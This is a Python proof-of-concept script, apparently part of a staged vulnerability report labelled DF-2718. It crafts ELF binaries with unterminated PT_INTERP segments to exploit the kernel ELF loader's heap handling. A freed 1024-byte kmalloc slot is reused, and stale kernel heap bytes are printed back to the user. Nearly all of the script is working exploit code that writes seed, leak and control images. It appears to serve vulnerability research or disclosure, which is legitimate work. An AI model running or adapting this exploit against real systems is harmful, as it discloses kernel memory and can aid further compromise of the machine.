#!/usr/bin/env python3
# DF-2718 stage-2: heap-residue disclosure proof.
#   seed1024: PT_INTERP p_filesz=1024, all 'B' (unterminated) -> occupies+fills a
#             1024-byte kmalloc slot, then kfree()s it (imgact_elf.c:845).
#   leak1000: PT_INTERP p_filesz=1000, all 'A' (unterminated) -> kmalloc(1000)
#             reuses the same 1024-size-class slot (bytes 1000..1023 keep the
#             freed 'B' residue); uprintf %s walks A*1000 + B*24 + beyond.
import struct

PAGE=4096; INTERP_OFF=0x800
def phdr(t,flags,off,vaddr,paddr,filesz,memsz,align):
    return struct.pack('<IIQQQQQQ',t,flags,off,vaddr,paddr,filesz,memsz,align)
def build(L,fill):
    e=bytearray(16); e[0:4]=b'\x7fELF'; e[4]=2; e[5]=1; e[6]=1
    ph =phdr(1,5,0,0x400000,0,2*PAGE,3*PAGE,PAGE)      # PT_LOAD R+X
    ph+=phdr(3,4,INTERP_OFF,0,0,L,0,1)                 # PT_INTERP
    eh=struct.pack('<16sHHIQQQIHHHHHH',bytes(e),2,62,1,0x401000,64,0,0,64,56,2,0,0,0)
    img=bytearray(2*PAGE)
    img[0:len(eh)]=eh; img[64:64+len(ph)]=ph
    ib=fill*L
    assert len(ib)==L
    img[INTERP_OFF:INTERP_OFF+L]=ib                    # exact-length slice
    assert len(img)==2*PAGE
    return bytes(img)
open('seed1024','wb').write(build(1024,b'B'))
open('leak1000','wb').write(build(1000,b'A'))
ctl=(b'/libexec/ld-elf.so.2\x00').ljust(1024,b'x')   # NUL inside -> terminated
img=bytearray(2*PAGE); img[INTERP_OFF:INTERP_OFF+1024]=ctl
open('/tmp/ctl_img.bin','wb').write(bytes(img[INTERP_OFF:INTERP_OFF+1024]))
# build ctl via same path: fill bytes are just longer content with a NUL
def build_raw(L, ib):
    e=bytearray(16); e[0:4]=b'\x7fELF'; e[4]=2; e[5]=1; e[6]=1
    ph =phdr(1,5,0,0x400000,0,2*PAGE,3*PAGE,PAGE)
    ph+=phdr(3,4,INTERP_OFF,0,0,L,0,1)
    eh=struct.pack('<16sHHIQQQIHHHHHH',bytes(e),2,62,1,0x401000,64,0,0,64,56,2,0,0,0)
    img=bytearray(2*PAGE)
    img[0:len(eh)]=eh; img[64:64+len(ph)]=ph
    img[INTERP_OFF:INTERP_OFF+L]=ib
    return bytes(img)
open('ctl1024','wb').write(build_raw(1024, ctl))
print("ok")
